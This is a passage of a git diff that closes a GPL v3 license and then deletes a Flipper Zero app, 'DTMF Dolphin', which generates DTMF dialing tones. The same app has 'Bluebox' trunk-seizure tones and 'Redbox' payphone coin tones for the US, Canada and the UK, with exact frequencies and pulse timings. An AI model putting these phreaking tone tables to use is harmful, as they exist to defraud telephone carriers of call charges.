Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/dtmf_dolphin/README.md b/applications/external/dtmf_dolphin/README.md deleted file mode 100644 index 9a65a382a..000000000 --- a/applications/external/dtmf_dolphin/README.md +++ /dev/null @@ -1,18 +0,0 @@ -![Image](pics/dialer.jpg) - -[Original Link](https://github.com/litui/dtmf_dolphin) - -## DTMF Dolphin - -DTMF (Dual-Tone Multi-Frequency) dialer, Bluebox, and Redbox. - -Now in a release-ready state for both Dialer, Bluebox, and Redbox (US/UK) functionality! - -Please note that using the current tone output method, the 2600 tone is scaled about 33 Hz higher than it should be. This is a limitation of the current sample rate. - -### Educational Links: - -* http://www.phrack.org/issues/25/7.html#article -* https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling -* https://en.wikipedia.org/wiki/Blue_box -* https://en.wikipedia.org/wiki/Red_box_(phreaking) diff --git a/applications/external/dtmf_dolphin/application.fam b/applications/external/dtmf_dolphin/application.fam deleted file mode 100644 index 5f01bc9a0..000000000 --- a/applications/external/dtmf_dolphin/application.fam +++ /dev/null @@ -1,18 +0,0 @@ -App( - appid="dtmf_dolphin", - name="DTMF Dolphin", - apptype=FlipperAppType.EXTERNAL, - entry_point="dtmf_dolphin_app", - requires=[ - "storage", - "gui", - "dialogs", - ], - fap_icon="phone.png", - stack_size=8 * 1024, - order=20, - fap_category="Tools", - fap_author="@litui & @xMasterX", - fap_version="1.0", - fap_description="DTMF (Dual-Tone Multi-Frequency) dialer, Bluebox, and Redbox.", -) diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin.c b/applications/external/dtmf_dolphin/dtmf_dolphin.c deleted file mode 100644 index c1b10defa..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin.c +++ /dev/null @@ -1,89 +0,0 @@ -#include "dtmf_dolphin_i.h" - -#include -#include - -static bool dtmf_dolphin_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - DTMFDolphinApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool dtmf_dolphin_app_back_event_callback(void* context) { - furi_assert(context); - DTMFDolphinApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void dtmf_dolphin_app_tick_event_callback(void* context) { - furi_assert(context); - DTMFDolphinApp* app = context; - - scene_manager_handle_tick_event(app->scene_manager); -} - -static DTMFDolphinApp* app_alloc() { - DTMFDolphinApp* app = malloc(sizeof(DTMFDolphinApp)); - - app->gui = furi_record_open(RECORD_GUI); - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&dtmf_dolphin_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, dtmf_dolphin_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, dtmf_dolphin_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, dtmf_dolphin_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->main_menu_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - DTMFDolphinViewMainMenu, - variable_item_list_get_view(app->main_menu_list)); - - app->dtmf_dolphin_dialer = dtmf_dolphin_dialer_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - DTMFDolphinViewDialer, - dtmf_dolphin_dialer_get_view(app->dtmf_dolphin_dialer)); - - app->notification = furi_record_open(RECORD_NOTIFICATION); - notification_message(app->notification, &sequence_display_backlight_enforce_on); - - scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneStart); - - return app; -} - -static void app_free(DTMFDolphinApp* app) { - furi_assert(app); - view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewMainMenu); - view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewDialer); - variable_item_list_free(app->main_menu_list); - - dtmf_dolphin_dialer_free(app->dtmf_dolphin_dialer); - - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - notification_message(app->notification, &sequence_display_backlight_enforce_auto); - - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - free(app); -} - -int32_t dtmf_dolphin_app(void* p) { - UNUSED(p); - DTMFDolphinApp* app = app_alloc(); - - view_dispatcher_run(app->view_dispatcher); - - app_free(app); - return 0; -} \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c deleted file mode 100644 index 66d17bc2e..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c +++ /dev/null @@ -1,270 +0,0 @@ -#include "dtmf_dolphin_audio.h" - -DTMFDolphinAudio* current_player; - -static void dtmf_dolphin_audio_dma_isr(void* ctx) { - FuriMessageQueue* event_queue = ctx; - - if(LL_DMA_IsActiveFlag_HT1(DMA1)) { - LL_DMA_ClearFlag_HT1(DMA1); - - DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAHalfTransfer}; - furi_message_queue_put(event_queue, &event, 0); - } - - if(LL_DMA_IsActiveFlag_TC1(DMA1)) { - LL_DMA_ClearFlag_TC1(DMA1); - - DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAFullTransfer}; - furi_message_queue_put(event_queue, &event, 0); - } -} - -void dtmf_dolphin_audio_clear_samples(DTMFDolphinAudio* player) { - for(size_t i = 0; i < player->buffer_length; i++) { - player->sample_buffer[i] = 0; - } -} - -DTMFDolphinOsc* dtmf_dolphin_osc_alloc() { - DTMFDolphinOsc* osc = malloc(sizeof(DTMFDolphinOsc)); - osc->cached_freq = 0; - osc->offset = 0; - osc->period = 0; - osc->lookup_table = NULL; - return osc; -} - -DTMFDolphinPulseFilter* dtmf_dolphin_pulse_filter_alloc() { - DTMFDolphinPulseFilter* pf = malloc(sizeof(DTMFDolphinPulseFilter)); - pf->duration = 0; - pf->period = 0; - pf->offset = 0; - pf->lookup_table = NULL; - return pf; -} - -DTMFDolphinAudio* dtmf_dolphin_audio_alloc() { - DTMFDolphinAudio* player = malloc(sizeof(DTMFDolphinAudio)); - player->buffer_length = SAMPLE_BUFFER_LENGTH; - player->half_buffer_length = SAMPLE_BUFFER_LENGTH / 2; - player->sample_buffer = malloc(sizeof(uint16_t) * player->buffer_length); - player->osc1 = dtmf_dolphin_osc_alloc(); - player->osc2 = dtmf_dolphin_osc_alloc(); - player->volume = 1.0f; - player->queue = furi_message_queue_alloc(10, sizeof(DTMFDolphinCustomEvent)); - player->filter = dtmf_dolphin_pulse_filter_alloc(); - player->playing = false; - dtmf_dolphin_audio_clear_samples(player); - - return player; -} - -size_t calc_waveform_period(float freq) { - if(!freq) { - return 0; - } - // DMA Rate calculation, thanks to Dr_Zlo - float dma_rate = CPU_CLOCK_FREQ / 2 / DTMF_DOLPHIN_HAL_DMA_PRESCALER / - (DTMF_DOLPHIN_HAL_DMA_AUTORELOAD + 1); - - // Using a constant scaling modifier, which likely represents - // the combined system overhead and isr latency. - return (uint16_t)dma_rate * 2 / freq * 0.801923; -} - -void osc_generate_lookup_table(DTMFDolphinOsc* osc, float freq) { - if(osc->lookup_table != NULL) { - free(osc->lookup_table); - } - osc->offset = 0; - osc->cached_freq = freq; - osc->period = calc_waveform_period(freq); - if(!osc->period) { - osc->lookup_table = NULL; - return; - } - osc->lookup_table = malloc(sizeof(float) * osc->period); - - for(size_t i = 0; i < osc->period; i++) { - osc->lookup_table[i] = sin(i * PERIOD_2_PI / osc->period) + 1; - } -} - -void filter_generate_lookup_table( - DTMFDolphinPulseFilter* pf, - uint16_t pulses, - uint16_t pulse_ms, - uint16_t gap_ms) { - if(pf->lookup_table != NULL) { - free(pf->lookup_table); - } - pf->offset = 0; - - uint16_t gap_period = calc_waveform_period(1000 / (float)gap_ms); - uint16_t pulse_period = calc_waveform_period(1000 / (float)pulse_ms); - pf->period = pulse_period + gap_period; - - if(!pf->period) { - pf->lookup_table = NULL; - return; - } - pf->duration = pf->period * pulses; - pf->lookup_table = malloc(sizeof(bool) * pf->duration); - - for(size_t i = 0; i < pf->duration; i++) { - pf->lookup_table[i] = i % pf->period < pulse_period; - } -} - -float sample_frame(DTMFDolphinOsc* osc) { - float frame = 0.0; - - if(osc->period) { - frame = osc->lookup_table[osc->offset]; - osc->offset = (osc->offset + 1) % osc->period; - } - - return frame; -} - -bool sample_filter(DTMFDolphinPulseFilter* pf) { - bool frame = true; - - if(pf->duration) { - if(pf->offset < pf->duration) { - frame = pf->lookup_table[pf->offset]; - pf->offset = pf->offset + 1; - } else { - frame = false; - } - } - - return frame; -} - -void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc) { - if(osc->lookup_table != NULL) { - free(osc->lookup_table); - } - free(osc); -} - -void dtmf_dolphin_filter_free(DTMFDolphinPulseFilter* pf) { - if(pf->lookup_table != NULL) { - free(pf->lookup_table); - } - free(pf); -} - -void dtmf_dolphin_audio_free(DTMFDolphinAudio* player) { - furi_message_queue_free(player->queue); - dtmf_dolphin_osc_free(player->osc1); - dtmf_dolphin_osc_free(player->osc2); - dtmf_dolphin_filter_free(player->filter); - free(player->sample_buffer); - free(player); - current_player = NULL; -} - -bool generate_waveform(DTMFDolphinAudio* player, uint16_t buffer_index) { - uint16_t* sample_buffer_start = &player->sample_buffer[buffer_index]; - - for(size_t i = 0; i < player->half_buffer_length; i++) { - float data = 0; - if(player->osc2->period) { - data = (sample_frame(player->osc1) / 2) + (sample_frame(player->osc2) / 2); - } else { - data = (sample_frame(player->osc1)); - } - data *= sample_filter(player->filter) ? player->volume : 0.0; - data *= UINT8_MAX / 2; // scale -128..127 - data += UINT8_MAX / 2; // to unsigned - - if(data < 0) { - data = 0; - } - - if(data > 255) { - data = 255; - } - - sample_buffer_start[i] = data; - } - - return true; -} - -bool dtmf_dolphin_audio_play_tones( - float freq1, - float freq2, - uint16_t pulses, - uint16_t pulse_ms, - uint16_t gap_ms) { - if(current_player != NULL && current_player->playing) { - // Cannot start playing while still playing something else - return false; - } - current_player = dtmf_dolphin_audio_alloc(); - - osc_generate_lookup_table(current_player->osc1, freq1); - osc_generate_lookup_table(current_player->osc2, freq2); - filter_generate_lookup_table(current_player->filter, pulses, pulse_ms, gap_ms); - - generate_waveform(current_player, 0); - generate_waveform(current_player, current_player->half_buffer_length); - - dtmf_dolphin_dma_init((uint32_t)current_player->sample_buffer, current_player->buffer_length); - - furi_hal_interrupt_set_isr( - FuriHalInterruptIdDma1Ch1, dtmf_dolphin_audio_dma_isr, current_player->queue); - if(furi_hal_speaker_acquire(1000)) { - dtmf_dolphin_speaker_init(); - dtmf_dolphin_dma_start(); - dtmf_dolphin_speaker_start(); - current_player->playing = true; - return true; - } else { - current_player->playing = false; - return false; - } -} - -bool dtmf_dolphin_audio_stop_tones() { - if(current_player != NULL && !current_player->playing) { - // Can't stop a player that isn't playing. - return false; - } - while(current_player->filter->offset > 0 && - current_player->filter->offset < current_player->filter->duration) { - // run remaining ticks if needed to complete filter sequence - dtmf_dolphin_audio_handle_tick(); - } - dtmf_dolphin_speaker_stop(); - dtmf_dolphin_dma_stop(); - furi_hal_speaker_release(); - - furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL); - - dtmf_dolphin_audio_free(current_player); - - return true; -} - -bool dtmf_dolphin_audio_handle_tick() { - bool handled = false; - - if(current_player) { - DTMFDolphinCustomEvent event; - if(furi_message_queue_get(current_player->queue, &event, 250) == FuriStatusOk) { - if(event.type == DTMFDolphinEventDMAHalfTransfer) { - generate_waveform(current_player, 0); - handled = true; - } else if(event.type == DTMFDolphinEventDMAFullTransfer) { - generate_waveform(current_player, current_player->half_buffer_length); - handled = true; - } - } - } - return handled; -} \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h deleted file mode 100644 index 2dd1d6eb6..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h +++ /dev/null @@ -1,54 +0,0 @@ -#pragma once -// #include "dtmf_dolphin_i.h" -#include "dtmf_dolphin_event.h" -#include "dtmf_dolphin_hal.h" - -#define SAMPLE_BUFFER_LENGTH 8192 -#define PERIOD_2_PI 6.2832 -#define CPU_CLOCK_FREQ 64000000 - -typedef struct { - float cached_freq; - size_t period; - float* lookup_table; - uint16_t offset; -} DTMFDolphinOsc; - -typedef struct { - float duration; - size_t period; - bool* lookup_table; - uint16_t offset; -} DTMFDolphinPulseFilter; - -typedef struct { - size_t buffer_length; - size_t half_buffer_length; - uint8_t* buffer_buffer; - uint16_t* sample_buffer; - float volume; - FuriMessageQueue* queue; - DTMFDolphinOsc* osc1; - DTMFDolphinOsc* osc2; - DTMFDolphinPulseFilter* filter; - bool playing; -} DTMFDolphinAudio; - -DTMFDolphinOsc* dtmf_dolphin_osc_alloc(); - -DTMFDolphinAudio* dtmf_dolphin_audio_alloc(); - -void dtmf_dolphin_audio_free(DTMFDolphinAudio* player); - -void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc); - -bool dtmf_dolphin_audio_play_tones( - float freq1, - float freq2, - uint16_t pulses, - uint16_t pulse_ms, - uint16_t gap_ms); - -bool dtmf_dolphin_audio_stop_tones(); - -bool dtmf_dolphin_audio_handle_tick(); diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_data.c b/applications/external/dtmf_dolphin/dtmf_dolphin_data.c deleted file mode 100644 index 72386b83d..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_data.c +++ /dev/null @@ -1,220 +0,0 @@ -#include "dtmf_dolphin_data.h" - -typedef struct { - const uint8_t row; - const uint8_t col; - const uint8_t span; -} DTMFDolphinTonePos; - -typedef struct { - const char* name; - const float frequency_1; - const float frequency_2; - const DTMFDolphinTonePos pos; - const uint16_t pulses; // for Redbox - const uint16_t pulse_ms; // for Redbox - const uint16_t gap_duration; // for Redbox -} DTMFDolphinTones; - -typedef struct { - const char* name; - DTMFDolphinToneSection block; - uint8_t tone_count; - DTMFDolphinTones tones[DTMF_DOLPHIN_MAX_TONE_COUNT]; -} DTMFDolphinSceneData; - -DTMFDolphinSceneData DTMFDolphinSceneDataDialer = { - .name = "Dialer", - .block = DTMF_DOLPHIN_TONE_BLOCK_DIALER, - .tone_count = 16, - .tones = { - {"1", 697.0, 1209.0, {0, 0, 1}, 0, 0, 0}, - {"2", 697.0, 1336.0, {0, 1, 1}, 0, 0, 0}, - {"3", 697.0, 1477.0, {0, 2, 1}, 0, 0, 0}, - {"A", 697.0, 1633.0, {0, 3, 1}, 0, 0, 0}, - {"4", 770.0, 1209.0, {1, 0, 1}, 0, 0, 0}, - {"5", 770.0, 1336.0, {1, 1, 1}, 0, 0, 0}, - {"6", 770.0, 1477.0, {1, 2, 1}, 0, 0, 0}, - {"B", 770.0, 1633.0, {1, 3, 1}, 0, 0, 0}, - {"7", 852.0, 1209.0, {2, 0, 1}, 0, 0, 0}, - {"8", 852.0, 1336.0, {2, 1, 1}, 0, 0, 0}, - {"9", 852.0, 1477.0, {2, 2, 1}, 0, 0, 0}, - {"C", 852.0, 1633.0, {2, 3, 1}, 0, 0, 0}, - {"*", 941.0, 1209.0, {3, 0, 1}, 0, 0, 0}, - {"0", 941.0, 1336.0, {3, 1, 1}, 0, 0, 0}, - {"#", 941.0, 1477.0, {3, 2, 1}, 0, 0, 0}, - {"D", 941.0, 1633.0, {3, 3, 1}, 0, 0, 0}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataBluebox = { - .name = "Bluebox", - .block = DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX, - .tone_count = 13, - .tones = { - {"1", 700.0, 900.0, {0, 0, 1}, 0, 0, 0}, - {"2", 700.0, 1100.0, {0, 1, 1}, 0, 0, 0}, - {"3", 900.0, 1100.0, {0, 2, 1}, 0, 0, 0}, - {"4", 700.0, 1300.0, {1, 0, 1}, 0, 0, 0}, - {"5", 900.0, 1300.0, {1, 1, 1}, 0, 0, 0}, - {"6", 1100.0, 1300.0, {1, 2, 1}, 0, 0, 0}, - {"7", 700.0, 1500.0, {2, 0, 1}, 0, 0, 0}, - {"8", 900.0, 1500.0, {2, 1, 1}, 0, 0, 0}, - {"9", 1100.0, 1500.0, {2, 2, 1}, 0, 0, 0}, - {"0", 1300.0, 1500.0, {3, 1, 1}, 0, 0, 0}, - {"KP", 1100.0, 1700.0, {0, 3, 2}, 0, 0, 0}, - {"ST", 1500.0, 1700.0, {1, 3, 2}, 0, 0, 0}, - {"2600", 2600.0, 0.0, {3, 2, 3}, 0, 0, 0}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUS = { - .name = "Redbox (US)", - .block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US, - .tone_count = 4, - .tones = { - {"Nickel", 1700.0, 2200.0, {0, 0, 5}, 1, 66, 0}, - {"Dime", 1700.0, 2200.0, {1, 0, 5}, 2, 66, 66}, - {"Quarter", 1700.0, 2200.0, {2, 0, 5}, 5, 33, 33}, - {"Dollar", 1700.0, 2200.0, {3, 0, 5}, 1, 650, 0}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataRedboxCA = { - .name = "Redbox (CA)", - .block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA, - .tone_count = 3, - .tones = { - {"Nickel", 2200.0, 0.0, {0, 0, 5}, 1, 66, 0}, - {"Dime", 2200.0, 0.0, {1, 0, 5}, 2, 66, 66}, - {"Quarter", 2200.0, 0.0, {2, 0, 5}, 5, 33, 33}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUK = { - .name = "Redbox (UK)", - .block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK, - .tone_count = 2, - .tones = { - {"10p", 1000.0, 0.0, {0, 0, 5}, 1, 200, 0}, - {"50p", 1000.0, 0.0, {1, 0, 5}, 1, 350, 0}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataMisc = { - .name = "Misc", - .block = DTMF_DOLPHIN_TONE_BLOCK_MISC, - .tone_count = 3, - .tones = { - {"CCITT 11", 700.0, 1700.0, {0, 0, 5}, 0, 0, 0}, - {"CCITT 12", 900.0, 1700.0, {1, 0, 5}, 0, 0, 0}, - {"CCITT KP2", 1300.0, 1700.0, {2, 0, 5}, 0, 0, 0}, - }}; - -DTMFDolphinToneSection current_section; -DTMFDolphinSceneData* current_scene_data; - -void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section) { - current_section = section; - - switch(current_section) { - case DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX: - current_scene_data = &DTMFDolphinSceneDataBluebox; - break; - case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US: - current_scene_data = &DTMFDolphinSceneDataRedboxUS; - break; - case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA: - current_scene_data = &DTMFDolphinSceneDataRedboxCA; - break; - case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK: - current_scene_data = &DTMFDolphinSceneDataRedboxUK; - break; - case 